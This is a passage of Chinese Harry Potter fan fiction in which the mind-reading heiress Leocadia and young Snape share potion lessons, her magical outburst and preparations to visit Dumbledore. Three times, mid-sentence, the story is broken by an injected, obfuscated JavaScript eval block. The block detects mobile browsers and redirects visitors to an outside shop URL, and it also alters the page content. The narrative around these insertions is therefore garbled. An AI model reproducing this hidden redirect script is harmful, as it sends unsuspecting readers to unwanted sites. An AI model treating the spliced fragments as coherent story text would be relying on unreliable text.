“首先,我需要感谢你扭曲的发言让我认识到我其实是个还算温和的好人。”他接过来,学着莱奥卡蒂亚的动作拿了两片面包涂上果酱,“其次,本人一向遵纪守法,想必也是用不上那些东西的。” “真可惜,”莱奥卡蒂亚重复一遍,“真可惜,太可惜了,你有着让我欣赏的眼神,我能给你你想要的东西,但你却不需要。” 斯内普淡定地咬着吐司:“我谢谢你,我现在只想安安静静地吃饭。请递一下胡椒粉给我,谢谢。” 这顿饭的过程虽然充斥着主人诡异暴力的思想,但在场两人,一个填饱了肚子,一个发了场疯,都解决了目前比较急迫的问题,总体来说还是主宾皆欢的。 最后,他们对视一眼,相互假笑。 “感谢款待,萨卢佐小姐。” “我的荣幸,斯内普先生。” 一楼走廊靠内的一间客房门迟缓打开,穿着睡袍露出大半个胸膛的弗雷德里克打着呵欠走出来,一屁.股坐在离他最近的凳子上,睡眼惺忪:“嗨莱奥早上好……嗯?西弗勒斯也在?” 莱奥卡蒂亚在斯内普还没张口前就轻轻一笑:“是的,西弗勒斯想提前了解一下高级魔药课程的课本。玛利亚,请用纱布包一些冰块,再拿一罐消肿的药膏给西弗勒斯。” 用简易冰袋敷着嘴角的斯内普:叫我名字做什么?我们很熟吗? 他顺着莱奥卡蒂亚的话点头:“是的,我对此很好奇。” 弗雷德里克语重心长地劝斯内普:“不要学莱奥,你才几岁呢,还不到学高级魔药的年纪。” 斯内普:“我已经可以独立制作补血剂了。”虽然成功的概率不足百分之四十。 弗雷德里克:“……行,我一会儿拿课本给你。” 现在的小孩都是吃什么长大的?怎么一个二个这么厉害? 你们进化的时候能不能带带我啊。 7. 7 7 浸泡在药膏的清凉薄荷味里的斯内普觉得今天莱奥卡蒂亚真的很奇怪。 她在弗雷德里克的“弗雷迪妈妈小课堂”上频频走神,然后下课的时候抓着他让他重新讲一遍; 喝咖啡的时候把意式特浓当水喝,过了半小时才反应过来; 弗雷德里克给斯内普讲三年级魔药课的时候,莱奥卡蒂亚在旁边折纸飞机,并试图痛击弗雷德里克的脑袋——不对劲,真的不对劲。 下午茶的时候,莱奥卡蒂亚一个人就把玛利亚准备的提拉米苏全部吃完,一块都没给斯内普和弗雷德里克剩下,还故意嘲讽他们吃得慢。 斯内普决定看在莉莉和玛利亚的面子上忍了。 弗雷德里克悄悄问他:“她今天怎么了?” 斯内普:“我怎么知道?吃错药了吧?” 莱奥卡蒂亚从旁边路过:“我今天只喝了你给我的那瓶药。” 弗雷德里克花容失色:“你给她喝什么了???” 斯内普一个头两个大:“只是补血剂!她这个脸色一看就是失血过多的样子啊!我妈妈有时候也会喝的,没有任何问题!” 弗雷德里克哆哆嗦嗦地检查了瓶子里剩下的几滴药剂,结论是没有任何问题。 斯内普:“你检查得再慢一点我就要脖子开花了。” 莱奥卡蒂亚收回抵在斯内普脖子上的果酱刀,沉思:“事实上今天凌晨的时候我就控制不住自己的情绪。” 大脑里塞满了不属于“莱奥卡蒂亚”这个个体的想法,而在打坐之前,她的大脑封闭术连入门都算不上,她花了很大的力气才把它们压缩成“钢板”和“火焰”来筑墙的。 弗雷德里克思考一会儿,乐观地忽略自己昨天对莱奥卡蒂亚用了摄魂取念,并提出一个非常没有建设性的假设:“你是摄魂取念者,也许是能力失控导致的情绪失调?我也不清楚摄魂取念者的魔力暴动是什么样,但可能性很高。” 斯内普揉揉脖子:“有可能,她今天早上说要给周围的邻居们洗洗嘴。” 莱奥卡蒂亚的指尖轻轻点着嘴角:“其实我已经忍了好几天了,但今天突然有点忍不下去的冲动。” 因为凌晨的时候太狼狈了,还很难受。 “看来就是魔力暴动了。”弗雷德里克得出结论,“问题不大,睡一觉就好。” 莱奥卡蒂亚目光诚恳:“我睡不着。而且我上次魔力暴动的时候引发了汽车爆炸,但今天只是心情不好。” 知道那天发生了什么的斯内普默默在心里补充:然后那辆车里还有两个人。现在处于死亡状态的那种。 弗雷德里克:“……亲爱的,你说话不要那么吓人,魔力暴动也是分程度的。” “那我这算是什么程度?还会持续多久?” “这个……我也不知道……” 斯内普神色平静地像莱奥卡蒂亚刚刚只说了一句英国的天气很不好:“既然斯潘塞先生也没办法,那你就努力努力不要魔力暴动了。” 莱奥卡蒂亚也很平静:“我已经在努力了。” 只有弗雷德里克急得像热锅上的蚂蚁围着沙发团团转:“不行,这可不行,魔力暴动可不是什么好现象……” “这样吧,”他走到莱奥卡蒂亚面前蹲下,双手握住她的肩,“闭上眼睛,什么都不要去听。想象你在一片大海上,而你是一只小船。” 莱奥卡蒂亚判断了一会儿要不要听他的话,最后还是闭上眼睛。 “海浪起伏,但很温柔,”他从袖子里露出魔杖尖,用了个无声咒,一点朦胧的白光落在莱奥卡蒂亚的眉心,“这里就像爱琴海一样美丽动人,簇拥着你入睡。” 他的话音刚落,莱奥卡蒂亚的脑袋就往旁边一倒。 坐在她右手边的斯内普下意识去扶她,而弗雷德里克握着她肩膀的手很有力,轻轻地把她放平,给她盖上毯子。 有靠谱的成年巫师看顾对于魔力暴动的小巫师来说是最好的选择,但弗雷德里克等会儿要参加一个述职会议,左思右想,只能让玛利亚用照顾麻瓜的方式照顾莱奥卡蒂亚。 当然,他交给了斯内普一瓶魔药。 “这是镇定药剂,如果莱奥醒过来还是不舒服,给她几滴就好,”弗雷德里克看看时间,“一般来说不建议摄魂取念者过多服用,这会影响他们的状态……好了我该走了,绅士一点,好好照顾她。” 斯内普很想说他没有绅士风度。 玛利亚在厨房里忙碌,说要做一些能让莱奥卡蒂亚开心起来的晚餐。 偌大的客厅里,只有斯内普在静静地翻着魔药课本。 不知过了多久,似乎天色都暗淡了下来,他才放下书,凝视着睡容恬静的女孩。 斯内普只是突然有一些……不高兴。 他对莱奥卡蒂亚知之甚少。 但只需要一眼,她就能看到他的记忆,解读他的内心和情绪。 而斯内普甚至称不上了解她。 他只能看到她用来掩饰一切情绪的平和微笑,他只知道她家里很有钱,知道她似乎是个能轻易讨论生死的人,知道她并不在意贫穷寒酸的他向她竖起尖刺。 莱奥卡蒂亚像太阳一样,只显露出自己想让人看到的光明。 出于一种天生的敏锐,他能从莱奥卡蒂亚的言谈话语,还有那长长一串的课程中感受到她藏得很深的不安。 可是她在不安什么呢?是因为她的摄魂取念吗? 明明她拥有那么多,却还是在不安吗? 他无法从这一点点碎片里揣测她的过去,却被她看透所有过去。 这不公平。 这个词像闪电一样窜脑海。 真可笑,被托比亚的拳头打在身上的时候他没想到过这个词,被欺负的时候他没想过这个词,被指指点点的时候他没想过这个词。 这么多年来只有莉莉给了他关爱和友谊,给了他温暖。 但现在,他渴望着莱奥卡蒂亚能给他一份连自己都不知道为什么渴望的公平。 西弗勒斯·斯内普想知道关于莱奥卡蒂亚·萨卢佐的事。 哈,真可笑,一无所有的穷酸孩子什么都不想付出,却想要得到。 斯内普蜷缩起手指。 “你闻起来像酸汤火锅。”毯子卷里的睡美人睁开眼睛,那紫水晶一样的瞳仁上覆盖着一层薄薄的水光。 就像刚刚洗好的葡萄一样,晶莹剔透。 斯内普被她看得心虚炸毛:“那是什么东西……你又在听我的心声?!” 莱奥卡蒂亚揉着眼睛坐起来,打了个呵欠:“弗雷德里克给我用了昏睡咒吧?我的大脑现在好轻松,什么都不想去听,只是被你那些情绪的味道——或者是薄荷药膏的味道——吵醒了——你在想什么?我都闻饿了。” 斯内普偏头看向窗外,不让她看自己的眼睛,语速飞快:“我在想你要是再不醒晚上就睡不着了。” 莱奥卡蒂亚接收到了这别扭的关心,犹豫一下,悄悄在他耳边说道:“实际上……我失眠很久了,连玛利亚都不知道哦。” 斯内普“啧”一声,重新拿起书:“这上面有无梦酣睡剂和生死水的配方。但我现在做不出来。你可以让斯潘塞给你买,或者我回家问问妈妈。” 才不要,弗雷德里克绝对会告诉母亲我失眠。 她不想让母亲再为她的事忧心了。 莱奥卡蒂亚升起一点好奇:“你妈妈……艾琳·普林斯女士?她会愿意帮忙吗?” 斯内普对她用婚前姓氏称呼妈妈很满意:“你忘了?” 莱奥卡蒂亚:“忘了什么?” “两年前,你在昏过去之前给了我一张支票。”斯内普斜她一眼,“然后来接你的人又给了我一张。” 那可是很大一笔钱! “没被你爸爸抢走?”莱奥卡蒂亚把毯子盖在腿上,并不在斯内普面前遮掩她对他的了解。 “没有,”斯内普压下小小的得意,哼笑,“那是我和我妈妈救你的报酬,我才不会给他。” 给他做什么?让他拿去买酒? 才不要。 虽然出乎他意料的是,来接莱奥卡蒂亚的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299275|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给了托比亚一份工作。 现在托比亚在一家商场里当仓库管理员,算是文职,轻松而且在家时间不长,有时候白班夜班轮替还有夜班补助。 但托比亚只会把它们全部挥霍在酒吧里,剩下的钱连吃饭都不够。 斯内普有时候会幻想,他希望托比亚被酒精泡坏了的脑子会搞砸这份工作。 比如得罪上司和同事后被教训一顿。 最好还是直接被警察抓走,比如偷窃,或者得罪什么大人物。 毕竟那个男人一旦遇到不顺心的事就会把艾琳和他当做出气筒,与其让他找到机会对他们大打出手,不如进监狱里好好醒醒酒。 只可惜托比亚没这个胆量,哪怕在工作上被为难,他也只敢在艾琳和斯内普身上倾泻暴力。 不过自从救了莱奥卡蒂亚之后,艾琳好像找回了做巫师的状态,在托比亚去上班的时候也不再克制自己,会用魔法做一些小家务,或者给斯内普用一些治疗魔法。 他找机会兑换支票后,把其中一部分给艾琳,说是救人的报酬,艾琳就收下了。 她有时候会去对角巷买一些材料带着斯内普做魔药,然后出售一部分——虽然价格被魔药店压得很低。 斯内普觉得艾琳重新做魔药还是因为莱奥卡蒂亚,因为她有时候会下意识做很多补血剂。 在他看来,艾琳其实是一个相当善良的人,只能给一个重伤的小女孩做简单的止血处理这种事还是刺激到她了。 只是,她还是无法做一个能面面俱到的母亲。 她爱斯内普,但心里更多的空间全部给了托比亚。 斯内普平静地接受这个现实。 “来接我的人?”莱奥卡蒂亚抱着抱枕回忆一会儿,“啊,你说我爸爸?” 在一直用“grandfather”和“mother”这样的词汇称呼家人的莱奥卡蒂亚口中,这个“papa”显得过于软和了。 斯内普回忆着描述:“对,高高的,长得很英俊,很年轻。他的头发是红色的,但穿得灰扑扑的。” 莱奥卡蒂亚算了算时间:“那是因为他是考古学家,不过两年前的话……那时候应该是从英格兰的遗迹挖掘现场直接赶过来的。” “所以他是基因变异了吗?我觉得你们家应该很难有那种性格的人。”斯内普的眼前又浮现了那个男人的样子,“他有点……过于活泼了。” 听出了斯内普在艰难美化爸爸的形象,莱奥卡蒂亚噗嗤一声笑出来,脸上终于有了一点红润:“就是因为他活泼,所以才能追求到母亲啊。” “谁说的,我看斯潘塞也很活泼,但他并没有打动你的妈妈。” 莱奥卡蒂亚竖起食指摇了摇:“不是的,那不一样。” 因为莱奥纳多·阿尔伯特·萨卢佐的魅力是独特的,举世无双的,只有母亲能欣赏的。 莱奥卡蒂亚朝着斯内普伸出手:“拽我一把,我现在没力气。” 斯内普没好气地站起来,然后拽了她一把:“你又要做什么?小心又变成脾气古怪的小巫婆。” 莱奥卡蒂亚笑着摇头:“放心,我现在好多了。” 二十分钟后,斯内普坐在橡胶场地在,两眼无神地看着莱奥卡蒂亚把一个五十公斤的沙袋绞倒。 裹在紧身训练服里的腰一扭,沙袋被那双看着细但有着流畅肌肉线条的腿扔了出去,砸在墙上,发出一声巨响。 莱奥卡蒂亚看起来心情相当舒畅:“呼,果然好好睡一觉之后体能会好很多~” 斯内普一点都不开心。 他为什么要浪费时间看这人痛殴沙袋? “来,西弗勒斯,我教你怎么借力打力,把那些比你强壮的人摔出去感觉会很好。” 好吧,斯内普又开心起来了。 只是…… “嗷!你轻点!” “我已经很轻了,是你太瘦了。”莱奥卡蒂亚轻而易举地把斯内普锁在地垫上,得意洋洋地笑着。 斯内普装死。 你明明比我还瘦,怎么好意思说我? 8. 8 莱奥卡蒂亚的生活很有节奏和规律,像一台精密的机器。 这是弗雷德里克观察出来的。 弗雷德里克因为他父亲的关系进了魔法部的魔法事故和灾害司,现在是记忆注销指挥部的副部长,等部长退休,他就能坐上部长的位置。 所以他的工作介于忙与不忙之间。 大事由部长决定,小事由下属去办,他作为板上钉钉的下任部长,当然可以把大量时间花在自己感兴趣的事上。 当他在玩巫师棋时,莱奥卡蒂亚在练习射击; 当他在看文件时,莱奥卡蒂亚在学习——那个词叫什么,哦,化学; 当他和朋友用双面镜聊天时,莱奥卡蒂亚在和新来的“老师”练习近身格斗…… 他觉得这姑娘肯定每天只睡六小时。 莱奥卡蒂亚听到他的判断后愣了一下,放下手中的小提琴:“不,我每天只睡四个小时,当然,我会用一个小时来冥想。” 弗雷德里克:…… 梅林在上,拉文克劳最醉心学习的学霸也做不到这个地步吧? “睡久了反而会没精神,”她指指自己的大脑,“用医生的说法,我的脑电波比常人活跃,也许是天赋的影响。” 不过她的身体素质也能跟上大脑的快节奏,暂时也没发现有什么负面影响,所以干脆把学习时间安排得满一点,用于安抚她海绵一样疯狂吸取知识的大脑。 弗雷德里克没办法,只能跟着她的节奏上课。 令他非常有压力的是,莱奥卡蒂亚的学习习惯比小巫师们好多了。 上一堂课结束后,她会询问下一节课的教学内容,然后自己预习和理解,在上课时不需要过多讲解,她就会自己提出许多相当有建设性和必要性的问题让弗雷德里克解答。 “巫师的咒语大多出自拉丁语,而拉丁语也是我的学习范围。”莱奥卡蒂亚握着钢笔奋笔疾书。 “虽然祖父不信教,但祖母是天.主.教.徒,意大利人也大多信仰天.主.教,所以学习拉丁语能够读一手的经义,和有信仰的夫人们讨论相关的内容。” 有时候看原文的书籍也很方便,萨卢佐家专门盖了一整栋楼来存放书籍,里面什么文字的古籍都有。总体来说,多学点语言还是十分有用的。 由于周一到周五也上课,她已经学到五年级的课程了。 也许是摄魂取念者的天赋,莱奥卡蒂亚对魔力的掌控已经超出许多霍格沃茨五年级学生的水准。 反正弗雷德里克觉得五年级的自己完全比不上莱奥卡蒂亚。 天知道在她用出第一个无杖无声漂浮咒的时候,弗雷德里克的内心有多崩溃,崩溃到连夜给在美国开会的邓布利多写信。 虽然莱奥卡蒂亚谦虚表示,她其实私下练习过数百次才成功了这一次。 弗雷德里克再次预感,和她一届的小巫师们将会学习得很辛苦。 幸好,这里面也许不包括莉莉和斯内普。 仅仅在一个月的周末共计十六天的课程里,他们就基本掌握了一些基本知识,比如几个基础如尼文,和荧光闪烁等几条简单的咒语。 而且在得知弗雷德里克手上有足够的材料而莱奥卡蒂亚对魔药兴致缺缺后,斯内普就开始疯狂练习,一路超莉赶莱,成为这个巫师学前班里魔药成绩最好的那个。 熬制补血剂的成功率也在逐步上升,起码莱奥卡蒂亚每天都可以喝上一瓶热腾腾的魔药了。 幸好补血剂没什么味道,不然莱奥卡蒂亚肯定不会乖乖喝药。 她捧着玻璃瓶,听着前线记者莉莉的描述,很难不怀疑斯内普完全不听学校里的课,光顾着看魔药课本去了。 莱奥卡蒂亚意味深长地痛饮补血剂:看来莉莉是个认真听课的好姑娘,而斯内普选择成为逃学斯斯。 当然也不是真的直接逃学,莱奥卡蒂亚让私人医院给他出具了一份住院证明,证明这人有病,需要静养。 莱奥卡蒂亚:看,他有病。 斯内普:你才有病。 莱奥卡蒂亚对斯内普的选择很理解,也不阻止。 以她对斯内普的了解,他以后99%不会再回到普通人的世界里,因此不学普通人的课程也无所谓,虽然莱奥卡蒂亚自己是个卷王,但并不要求自己的朋友也是卷王。 好在斯内普大概是传说中的天赋型人才,再加上有一位精通魔药的母亲,所以在魔药学上简直是如鱼得水,学习进度相当丝滑,甚至能和莱奥卡蒂亚一样发现一些很有用的药材处理办法。 比如练习取瞌睡豆的汁液入药时,他提出可以用银刀侧面挤压。 为什么自己上学的时候就想不出来这种办法呢?弗雷德里克站在坩埚前猛翻课本。 他的N.E.T.S的魔药成绩只是E,斯拉格霍恩教授的鼻涕虫俱乐部他也没怎么去过,全靠拉文克劳的朋友帮他考前冲刺。 完了,我这老师不会快要下岗了吧? 但幸好,三名学生目前来说对他的教学十分满意——毕竟他们都没有魔杖,还涉及不到高深的魔法。 弗雷德里克擦了把冷汗。 一个没什么阳光的周一下午,在弗雷德里克施展了麻瓜驱逐咒和干扰咒的凉亭里,莱奥卡蒂亚正在埋头学习Firestorm(火焰风暴)*。 一盘刚出炉牛角包里应她的要求夹着黄油和果酱,和咖啡杯一起放在左手边,方便她补充糖分。 而弗雷德里克坐在她对面,给她讲解这个咒语施展时的注意事项和手势。 一只猫头鹰穿过树梢,落在弗雷德里克面前,扔下一封信。 莱奥卡蒂亚的笔尖一顿,看了一眼猫头鹰毛绒绒的身体,又垂下目光继续学习。 “甜甜?谁给我寄信了?”弗雷德里克挠挠猫头鹰的下巴,拆开信封,“千万别是部长的。” 但看到信封的制式和上面的字体后,他就变了脸色,郑重地拆开信封。 “……” 像是难题被天降神兵解决了一样,他挑着眉头看向莱奥卡蒂亚:“邓布利多从美国回来了,他想见你。” 好耶,这是不是意味着我不用被天才打击了? 莱奥卡蒂亚盖上钢笔,点头:“什么时候?” “信上说他明天下午有时间。” “可以,明天的课程并不紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299276|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张,可以推后。我们怎么去?” 弗雷德里克想了想:“这里没有壁炉,我们从破釜酒吧借个壁炉过去,完事儿了还能带你逛逛对角巷。” 莱奥卡蒂亚对逛街无所谓,拿起一只牛角包,咬了一口:“这是正式拜访吧,需要带礼物吗?” 弗雷德里克靓仔无语:“我真的很好奇,你在麻瓜世界里是不是学了太多纯血那一套的社交礼仪?不用,这只是一次普通的拜访。” 莱奥卡蒂亚忽略他不需要带礼物的发言,转而研究他话里那个她很早就开始感兴趣的内容:“巫师和普通人的观念不一样。你们的纯血是指父母都是巫师,而普通人的纯血……我不确定,大概是不与其他人种通婚吧?” 浓郁的奶香和草莓的甜香在嘴里炸开,莱奥卡蒂亚享受地眯起眼睛:“我的祖母是沙俄贵族,母亲是英国人,祖父的血统可以追溯到罗马帝国,所以我算是混血? 但广义上来讲,现今的欧洲主体人种应该都流有罗马人、日耳曼人、高卢人的血统,就肤色而言同属于欧罗巴人种。” 她一口气说完一大串让弗雷德里克头昏脑涨的名词,最后作出结论:“所以就肤色而言,我应该是纯血。” 弗雷德里克很想说巫师和麻瓜不一样,但听莱奥卡蒂亚的意思,巫师和麻瓜又是一样的。 毕竟巫师和巫师也能生出哑炮,巫师和麻瓜也能生出强大的混血。 莱奥卡蒂亚自己不就是一个例子吗? “而且你说过,巫师经常只在巫师内部通婚,甚至会近亲通婚,”莱奥卡蒂亚吃完一整只牛角包,喝了一口茶,“在遗传学上,这一点相当不可取,容易遗传基因病,家族遗传病可是导致过王朝绝嗣的。” 虽然旁听了不少莱奥卡蒂亚的学习内容,弗雷德里克也对这种观念嗤之以鼻:“照你这么说,巫师早就灭绝了。” 莱奥卡蒂亚淡定地指出:“我不太了解魔法界的纯血家族,但你大可以数数哪一家没有和混血或者麻瓜种的巫师结合过。” 弗雷德里克当然说不出来这种纯血家族最隐秘的话题,于是生硬地转移话题:“明天早上我要去部里办事,我们下午两点出发。” 莱奥卡蒂亚不置可否,收拾好东西就走。 听弗雷德里克偶尔透露出来的信息,这位未来的校长喜欢吃甜食。 巧了。 意大利人在甜品上绝不认输。 “玛利亚,请做一些你拿手的甜品,明天我需要去拜访我未来的校长。” “噢!上帝保佑!我保证我会拿出我压箱底的手艺的!还有一件事小姐,意大利送来了一批羊绒制品,都是萨卢佐牧场里上等的羊绒和染料制作的,可能是考虑到您需要送礼,于是送来了不少,也许这会是家常又不出错的礼物。” “都有些什么?” “大多是手套、围巾、开衫、背心、披肩,还有袜子,男款女款都有,分成人款和儿童款。” “包四份,一份给上了年纪的男性老者,但颜色可以鲜亮一点;一份给弗雷德里克先生,可以让他自己挑;剩下的两份给莉莉和西弗勒斯。” “我知道了,小姐。” 9. 9 再次申明,玛利亚是一位能干的保姆。 在相当有限的时间里,她开足马力,足足做了十种意大利特色甜品,每一样都精致又美味。 为了方便莱奥卡蒂亚携带,她还找出了一个五层甜品盒,装满后的分量足到莱奥卡蒂亚不得不用上缩小咒和漂浮咒才能提得动。 除此之外,玛利亚还准备了一整套萨卢佐家牧场出品的羊绒制品——专供萨卢佐家族的上层,是拿来送礼也完全挑不出差错的品质。 莱奥卡蒂亚坐在客厅的沙发上,喝着一杯摩卡看着玛利亚忙来忙去。 她有自己的战场。 一大早就逃学来萨卢佐家学魔药的斯内普在坩埚前抬起头,就算刚刚在萨卢佐家吃过午饭,也觉得空气中的甜香格外吸引人:“你这是要给女王和首相送礼?” 他才不觉得莱奥卡蒂亚会“屈尊”给这两位以下的“小官员”们送礼。 莱奥卡蒂亚诧异地看他:“当然不,我现在还没到能以萨卢佐家族名义送礼的年纪,起码得十六岁以后才行。” 她倒是毫不怀疑自己能接手萨卢佐家族。 斯内普为她的自信勾勾嘴角:“好吧,也就七年以后。所以你到底要去见谁?你这样子都能参加舞会了。” 莱奥卡蒂亚明显一副要出门的样子,斯内普见惯了的那副休闲打扮全部消失,换成了帝政风格的裙装。 由于莱奥卡蒂亚年纪不大,萨卢佐家族的设计师并没有给她的裙子设计U型低领,而是采用一字领,搭配三层的蕾丝胸饰领,贴身穿一件用白色丝绸裁剪成交叉立领的内衬。 上半身整体以浅紫色为主,袖子上窄下宽,从淡紫过度到靛青,腕部收紧,袖口用金线绣了萨卢佐家族的家训,领口别一枚羽毛状的胸针。 下半.身的主裙体部分用的是鲜亮的天蓝渐变洒金塔夫绸,搭配两片葡萄紫薄纱拼接,拼接处绣着葡萄藤花样,藤蔓上点缀着珍珠和丝带攒成的花。外罩一层蕾丝,裙撑较软,使得裙摆的弧度相当自然。 虽然从头到脚都是冷色调,但因为饱和度与明度不一样,再用莱奥卡蒂亚的发色和眸色压制色彩,总体来说很称她的冷硬的轮廓和气质。 此刻她正翻找着首饰盒选项链,耳垂上带着一副古拙的水滴形蓝宝石耳环,下方坠两粒圆滚滚的珍珠,随着她的动作不断摇晃。 斯内普一点点移开视线,对着空坩埚假装自己很忙的样子。 “不,我参加舞会的衣服更繁琐。” 莱奥卡蒂亚面无表情地选了一条不规则的叠戴款珍珠项链在脖子上比划,“我是去见阿不思·邓布利多校长。总有一天我要把规定女性礼服必须是裙装的人全部扔进地牢里刑讯。” 她连鞋子都被玛利亚换成了累赘的小羊皮软底刺绣鞋,次抛的那种,最多只能穿三次,然后就会被淘汰。 没有宽大的垂袖遮挡手部动作,袖子里也没有暗袋装她的“贴身物品”,鞋子不方便奔跑——莱奥卡蒂亚痛恨这样的装扮。 斯内普嗤嗤冷笑:“恕我直言,以你的标准,你起码得刑讯全世界百分之九十九的男性。” 莱奥卡蒂亚打开项链的卡扣:“只要你是那百分之一就行。麻烦帮我扣一下,我还要喷香水。” 斯内普用吃人似的眼神瞪过来:“你能自己开.枪,却不能自己戴项链?” “对,因为扣眼比百米靶还难对准。”莱奥卡蒂亚转头盯住他的眼睛,一字一顿,“不帮我,我就跟莉莉告状。” 斯内普只好咬着牙凑过来,捏住小小的扣眼和龙虾扣,努力对上那不比芝麻大多少的扣眼。 偏偏莱奥卡蒂亚还因为试闻香水的动作动来动去,导致扣子和扣眼一次次在即将扣上的那一刻猛然错过。 斯内普恶狠狠地说道:“再动我就不帮你了!” 莱奥卡蒂亚果然停下不动。 斯内普后知后觉,好像自己语气有那么一点重了。 啧。 他内心有些后悔,挣扎着给莱奥卡蒂亚扣好项链,偷偷抬头去看她。 哧—— 一团细腻松散的水雾,伴随着清甜的葡萄香气落在他的脸上。 斯内普颤抖着抹了一把脸。 莱奥卡蒂亚语气波澜不惊:“哦,我以为你扣好了不在我身后,真是抱歉呢。” ……骗鬼呢!我看见你在用眼睛嘲笑我! 斯内普捂着口鼻缩回去,打了几个喷嚏。 莱奥卡蒂亚在盘起的头发、脖颈和手腕上都喷上了香水。 当然,出门前还要补一遍,只是提前喷一点能有效改善心情。 她又拿起准备好的帽子试戴,突然问斯内普:“你要不要跟我一起去?” 本来决定再也不理她的斯内普一愣:“我跟你去见邓布利多校长?这合适吗?” 莱奥卡蒂亚歪头,镜子里的她也跟着一起歪头:“有什么不合适的?如果结束得早,我们说不定能在对角巷逛逛书店或者魔药店。” 斯内普可耻的心动了。 “不想去的话也没关系,”莱奥卡蒂亚抽出一只透明唇膏草草涂抹两下,“但弗雷德里克先生也不在,你的问题恐怕很难得到解答。” “再过两个月他就教不了我了。”斯内普小声吐槽,咬了咬嘴唇,“……好吧,我跟你去。” 莱奥卡蒂亚打量了一下他的着装,摇摇头:“那你就不能穿这套。” 她抓住斯内普的胳膊,用他无法抵抗的力量扯着他上楼,冲进自己房间……隔壁的衣帽间。 斯内普慌张:“喂!这是你的房间!” “整个二楼都是我的房间。卧室在隔壁,不用担心。” 莱奥卡蒂亚打开一个衣柜,找出一套新送来的烟灰色休闲风马甲西裤,还有一件白色的衬衣拍进斯内普怀里,“换上这个之前,浴室在那扇小门后面,你先去洗个澡。” 斯内普抱着衣服贴着墙:“……那是你的浴室,私人的那种。” 这种地方相当私人的好吧?! 莱奥卡蒂亚在翻箱倒柜地找皮鞋:“里面昨天才打扫过,放心,不会有你不该看的东西。赶紧去,不然我就没收你的坩埚和药材。” 斯内普羞红着脸,愤怒地走进浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299277|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室。 等浴室里传来哗哗的水声,莱奥卡蒂亚才对着一双自己没穿过的黑皮鞋用变形咒,把那双女士尖头皮鞋变成一双男士皮鞋。 她的课程包括用肉眼测量尺码,这在反侦查、辨别身份和伪装课里都是重要内容。 呵,我受礼服折磨的时候,你也别想好过。 * 等斯内普出来的时候,莱奥卡蒂亚满意地点头。 洗过澡的男孩浑身散发着洗发水和沐浴露的香味,很容易出油的半长黑发也柔顺又蓬松的垂在脑后。 他似乎不太会穿这么正式的服装,正在低着头跟复杂的扣子搏斗。 莱奥卡蒂亚上前拍开他的手,免得他继续摧残那条薄纱和蕾丝拼接的胸饰领。 马甲是贴身的,内缝鱼骨支撑,一般来说会有点勒,但斯内普的表情完全看不出来,也不需要吸气就相当贴合。 莱奥卡蒂亚肉眼观测此人的腰围,又借着整理的动作上手量了量,严重怀疑斯内普家比萨卢佐家更需要儿童保护协会告上联合国。 怎么回事?他不是有钱吗?怎么还把自己饿成这样? 打量一会儿,她又帮他整理马甲的下摆,不合适的裤腿用变形咒放大又加长了一点,调整到正好能露出一点脚腕的高度。 斯内普的脸上说不清是被热水蒸出来的红,还是由于情绪翻涌染上的红。 幸好大脑封闭术的练习颇有成效,莱奥卡蒂亚最近已经能做到能时时开着大脑封闭术了,起码现在别人的心声不会随时在她耳边盘旋嗡鸣,吵得她睡不着。 莱奥卡蒂亚也懒得去听斯内普的心声,因为她知道这人是个傲娇,嘴上刻薄,但心还是软的。 而且经过这一个月相处,她也早就习惯了这人身上代表性的、总是纠结成一团而且她无法准确分辨的情绪味道。 跟他身上淡淡的药味一样,清苦,但不让她讨厌。 斯内普偏过头,任由莱奥卡蒂亚在他身上施为。 哪怕莱奥卡蒂亚最近喝了很多补血剂,身上的体温也总是低到让人心惊。 而现在,她的提问因为整理的动作回升几分,暖烘烘的热度融开了香水的味道,像是一瓶温润变化的葡萄酒。 咔哒—— 莱奥卡蒂亚拍拍他的胸口,满意地直起身:“这个还行。” 斯内普回神,低头看去。 她在离他心口不远的位置别了一枚点缀着黑曜石的树枝状胸针。 斯内普压下脊背上传来的阵阵酥麻,扯了扯嘴角:“我是不是该感谢您的慷慨与体贴?” 莱奥卡蒂亚十分不萨卢佐的翻了个白眼,再次一巴掌拍在他的胳膊上:“好好说话会死吗?你要感谢我的多了,以后给我打工慢慢还吧。别废话,转过来。” 斯内普捂着疼麻了的胳膊咬着牙转过身。 微凉的双手在他发间穿梭,只留下鬓角的两缕自然垂下,剩下的用一根灰紫色的发带松松绑在发尾上。 “我的发带都是紫色系的,没关系,紫色很好看。”莱奥卡蒂亚欣赏了一下自己的手艺,又拉着斯内普下楼。 10. 10 弗雷德里克被莱奥卡蒂亚的穿着震惊到了。 